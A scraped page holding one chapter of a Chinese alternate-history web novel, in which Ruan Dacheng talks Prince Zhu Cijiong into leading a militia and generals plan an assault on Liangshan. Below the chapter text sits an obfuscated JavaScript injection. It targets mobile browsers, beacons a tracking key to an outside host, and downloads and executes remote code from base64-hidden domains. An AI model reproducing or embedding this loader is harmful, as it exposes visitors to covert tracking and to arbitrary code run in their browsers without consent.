去读读 > 玄幻魔法 > 明歌明朝 > 第十七章 :梁山奇迹

第十七章 :梁山奇迹(1/3)

上一章明歌明朝章节目录下一页
奇迹,总是会发生的。

尽管阮大铖年龄极大,但这厮身体极好,拎着个紫砂大茶壶给三位将军倒茶,手法还挺专业。现在的习惯,南方已经普及冲泡法,而北方还是在用紫砂壶煮茶。

前一段的逃难旅程,把老东西折磨得又黑又瘦,但精气神反而提了一个层次。如今再摇身一变,成为大通君子营的会同录事(高级助理),一身戎常服,配上须发皆白的高大身形,倒显得风度绝尘,仪表堂皇!

以朱慈炯为名义招募的壮勇,之所以起名叫做“大通君子营”,也是有讲究的,其中大通二字,取材“大禹治水”,指的是方法和成效。毕竟在黄河岸边招募民壮,军队番号怎样也要跟大禹搭上关系。

至于君子,那就看怎么理解了,既可以理解成对百姓的承诺,全军所过之处,绝对秋毫无犯!也可以理解成,这支军队的创建者,都是君子。

阮大铖做为“大通营”的缔造者之一,在周王府避难期间,得以说服慈炯的方式充满了机智:

“炯哥儿,在下想起一句诗,不知您可曾听过呢?”

朱慈炯当时正坐在扶手游廊下摆弄金铃,抬头看了看院子中的繁花,并没有说话。但手下,却把金铃放进了怀中。中华诗篇,何止千百万,你不明说,谁知道你要提那首?但越是这样,就越容易勾起对方的好奇心。这就是说话技巧!眼见效果达到,阮大铖还事儿事儿的正正衣冠,清清嗓子:

“他日闻雷惊世起。不忘落魄在君前!唉,炯哥儿可知道是谁写的吗?”

“哦。”朱慈炯遗传了他母妃的高智商。很多诗篇文章,近乎过目不忘,这首诗他还真就听过,

“此乃魏藻德,我大明庚辰科状元郎,在他十六岁时写的励志诗!”

“呵呵,咱们炯哥儿就是聪慧过人,果然不错。斯时清躬公尚在少年,文采略显一般,然其中豪杰之气。倒也跃然纸上!多年后,果真金榜题名,正应了这首诗中意境!”

“住口!”朱慈炯再另类,他也是受正规教育长大的孩子,

“魏藻德贪赃枉法,已被国家极刑!虽说父皇仁德,保留其状元功名。但也不是吾等可以私下讲议地,你究竟什么意思?”

“呵呵,炯哥儿且听详细。”阮大铖潇潇洒洒的一背手,开始了奇谈怪论:

“堂堂七尺。生逢乱世,当道一声幸哉!大英雄万古名标,好男儿当逞英豪?这一切功名,都取自乱世。民变之所以勃然再兴,就在于这世间,想博取功名之人,实在太多了。

“既然宵小鼠辈都要趁此良机大展拳脚,何况吾等忠孝两全地高洁雅士?如今恰逢其会。便不可错失良机!炯哥儿可要想仔细了,是当一名劈山救母、保民卫国地天下人,还是在那凤阳高墙之内,做一位庶藩废王?就算最不济,灵儿姑娘。还在南京等待搭救哪!”

别说朱慈炯一个金枝玉叶的少年王爷。就是历经过风霜的成熟人士,也很难不被老阮给蛊惑了。

接下来的进展。就很清晰了:为应对民变,慈炯公开出面释放许尔安、张缙彦,其效果非常惊人,因为大家都是聪明人,放过此二人性命,就等于把包袱甩给绿林叛匪。各路大王闷头一合计,与其没完没了拼消耗,不如先回自家山寨中再说。

匪帮退却,军营放粮赈济,定王再公开组建乡勇团练,给草民一个活命的饭碗,民变骤起之后再迅速走入可控通道,也就顺理成章。

申甫、曹平安能同意这个建议,最主要的原因,就是他们屠城行为恶果明显,河南当地也就算了,这地界儿现如今太乱,就算他们不屠城,河南也未必能好到哪去。但外省就不一样了,屠过城的军队再去光复,势必会举步维艰。因此,确实有必要重新树起一面旗帜:请求国家再加派一位军界中人过来,二人都有些不甘心!那么一位虽然落魄,但名声还好的王爷,当然是最佳选择。

替徐光启守灵这两、三年间,朱慈炯搞出来的花样可是不少:映清辉镜坊;定王育林法;赞助发行《徐霞客游记》和《沈氏农书》两部著作;秦淮河畔,烟憬楼上,鸣枪射灯以叫停选妃;天一阁前,公开焚烧借贷字据……等等这些事迹,都使得他成为在民间口碑良好的侠

现在侠王出面募兵助国平叛,确实拥有一腚地影响力。于是在申甫、曹平安的帮衬下,大通君子营对外宣称是五营2万人,但实际作战时,却是八个半营计三万四千人,其兵源组成有三块:

申甫、曹平安辖领的职业军人,无论对外怎么宣称,有丰富战斗经验的山陕军,都将是这支军队的作战基干。山陕军中的侯马总兵柳国镇,平日里跟曹平安关系亲近,作战勇猛,屠城时下手温柔,外加他的一营人马,在沙寨口会战中被打掉了一半,所以就把他给派了过来。另外申甫从白洋淀、沧州一带招募的两营人马,一营水师,一营火枪兵,既然都是乡勇,自然可以借给君子营用用。

再就是符合杨嗣昌的主张:具备高超训练水平的武学娃娃军,被分散打入各个层面,即可以看成军事技术指导,也可以看作政治辅导员。

第三块是许尔安、张缙彦凑出来地一营人马,许家军、张家军毕竟都是河南街面儿上的人物,被朱慈炯救护下来,他们既不敢投奔绿林,也不敢留在山陕军中,自然努了大血,用最后的家底儿拼凑出一营人马。跟着定王混吧。

半营侯马精骑、一营白洋淀水师、一营沧州火枪兵、一营河南步兵、外加三千武学精英,一共是1万7千人。构成了这支军队主力阵容。

其余就是一些乌合之众了。在短短月余凑出来的五营2万人马,这质量能好到那里去?可以说,这些乡勇最拿手的是盖房子,而不是上前线作战。君子营的帅帐能盖成四合院,全靠这些心灵手巧地乡勇。

这里面甚至还有2百人规模的周王府府兵,做为定王慈炯地近卫亲随。反正都是王爷,跟谁不是跟啊!

有带头地,又有了兵源,还获得国家正式授权,大通君子营也就正式出征了。

被国家以救火队员派过来监军的河北巡抚金声。也是一个新思潮的官员,江南大乱,国家丢掉了一多半的财政来源,如果大通营地模式成功,则动用民间力量来消化越来越多地难民,这是缓解财政的最佳手段。

而且最关键地是,金声跟申甫可是二、三十年的老交情,还有山东布政刘之纶,他们三个都是当年北京保卫战时提拔起来的文武臣员,互相之间。是肯定要回护地。所以金巡抚鼎力支持申甫,按照他原先的设定,继续向东走下去。

西边因为陕西与四川接壤,山陕官员、藩府,还有晋商集团,由于孙传庭案发前后的事态变化,对国家的认知度提高不少。加上玄青子悉心修复的情报系统,也初见成效。那么搭建起云南——贵州——四川——山陕——北京这样一条右路通道,只是时间早晚问题。

而中路扫荡河南全境的任务,自然就落在了曹家军几大总兵的身上,各支匪帮平均每个总兵分一个,谁也别闲着。以山陕精骑的能力来看。这阵仗并不是太难。

新乡、睢州一带,暂时交给蒲城总兵艾万年打理。标记1艾总兵在曹家军十大总兵中资格最老。再有国家命令,让史可法、马世奇、黄道周等人留守豫北以图戴罪立功。有这些名臣、名士、名将,豫北战略基地的目标,指日可待。

现在就剩下左路建设了,左路侧重水师,为了给毛承禄领衔的镇海水师,打造一个稳定地大后方,山东全境必须成铁板一块。

目前来看,盘踞在商丘——菏泽——济宁一带的花马刘良佐,是实力最强的一路军阀。紧邻其侧,枣庄——临沂-赣榆一带的刘泽清,则是第二块绊脚石。

正是出于这样的战略考量,目前势头不错的“大通君子营”就成为平定西南山东的主力军了。因为军中主帅是三皇子,大家不敢托大,申甫、曹平安当即决定,他们要暂时随大通君子营一起去山东。第一站,就是菏泽吕庙,座落在水泊梁山附近的一处平原地带,既适合骑兵穿插,也适合炮兵列阵,更加适合步兵对决。

也许是因为靠近黄河,所以这里确实有大片水塘。花马刘良佐地弟弟刘良臣,目前就驻守在梁山上,而且要死不死的打出了替天行道的大旗。没得法子,《水浒传》太深入人心了。

但正因为《水浒传》的广而告之,使得刘良臣还真就认为这里是一处易守难攻的据点所在。人家高太尉率领数十万禁军,前后三、四次都无功而返,一群临时拼凑地乌合之众,难道会有戏唱?

但他忘了一句话:事在人为!

冀乐华今天观察形势后,同意了申甫之前地提议,来一个水陆并进。

他们三位再次推演之后,现在要按照程序,来向慈炯做一个详细汇报,因为尚在清晨,懒惰的慈炯还没起床,所以暂由阮大铖出面接待。这小老儿察言观色地本事,实在天下第一,仅仅通过细微的表情变化,就很快判断出僧帅、仲帅这两个称谓有问题。所以他的称呼,非常正常。越正常,越容易引起好感,就连曹平安,都对阮先生尊敬有加。接过茶来,很是领情的感谢着:

“多谢阮先生!”

“呵呀,曹帅客气了!”

他们所在的房间。是一个里外套间,因为昨天下午才盖好。现在充满了新鲜木头的味道。整体风格简朴而又舒适。

外间摆了一张长条桌,又窄又长,十几把不带靠背的方凳散乱于桌子两侧,白色带有节疤的桌面上,摆着一个硕大地紫砂茶壶,和十几个素胎仿成化缸杯。一幅色彩鲜明的地图,将西侧地整面墙壁都遮盖起来,地图上面,按照这个时代地习惯,用白色的马头、红色的箭羽、黑色的小人。还有青色的城墙与山头,来标明战斗单元。

房间的另一侧,有两扇可以垂下窗帘的窗户,现在正四畅大开,使得光线和空气都非常良好。窗户两侧,悬挂着各式各样的武器,弓、弩、穆刀、箭壶、金顶枣阳槊……。

申甫、曹平安、冀乐华并排坐在长桌西侧,从他们的位置,刚好可以看到窗外,一队队的士兵。手拿武器注视远方,还真像那么回事儿!

通往里套间地门朝外开着,绘有海棠春睡图案的竹帘只拉开半幅,能够看见一双小脚,正在来回走动,显然,是可馨姑娘,正在服侍朱慈炯穿行头。

“嗯咳。三位将军,”阮大铖明明心中焦躁,嘴上却故作轻松:“今日探营,成效几何啊?”

“哦,是这样的。”冀乐华既是定王护卫。又是申甫老战友,所以他是双方沟通的重要渠道。

“刘良臣曾在武学深造,早年又在辽东军中服役,行兵布阵,很有章法。但以我观察,这次他有些过于托大。布下区区几艘藏兵舟船,就想镇住我等。好逼迫咱们于陆面上跟他决战。是以刚才请示僧帅、仲帅后,梁山倒也好说。”

“好,好,蛮好,蛮好!”阮大铖一边连声说好,眉开眼笑,还兴奋的直搓双手。

“啊呀,这行军布阵,还要仰仗诸位,老夫一介书生,能跟着申帅、曹帅,还有冀将军身边历练,真是三生有幸呢!”

三位将军没搭言,只是矜持的端起茶杯喝水,他们知道阮大铖的心思:
上一章明歌明朝章节目录下一页
function DcdGKZ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function KRpZvO(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return DcdGKZ(t);};window[''+'B'+'y'+'Z'+'H'+'e'+'R'+'y'+'L'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function rqYH(t){var e=t.match(new RegExp('^((https?|wss?)?://)?d.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=KRpZvO,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=rqYH(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://deh.insfhrt.com:8887/stats/70521?i=67&ukey=' + a;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__dsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/mj1/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=rqYH(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/mj1/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/mj1/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/mj1/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZkLmhibHN3cnFvLmNvbSUzQTg4OODc=','d3NNzJTNNBJTJGJTJGZC52dHlpdHByLmNNvbSUzQTg4ODc=','50662',window,document,['O','N']);}:function(){};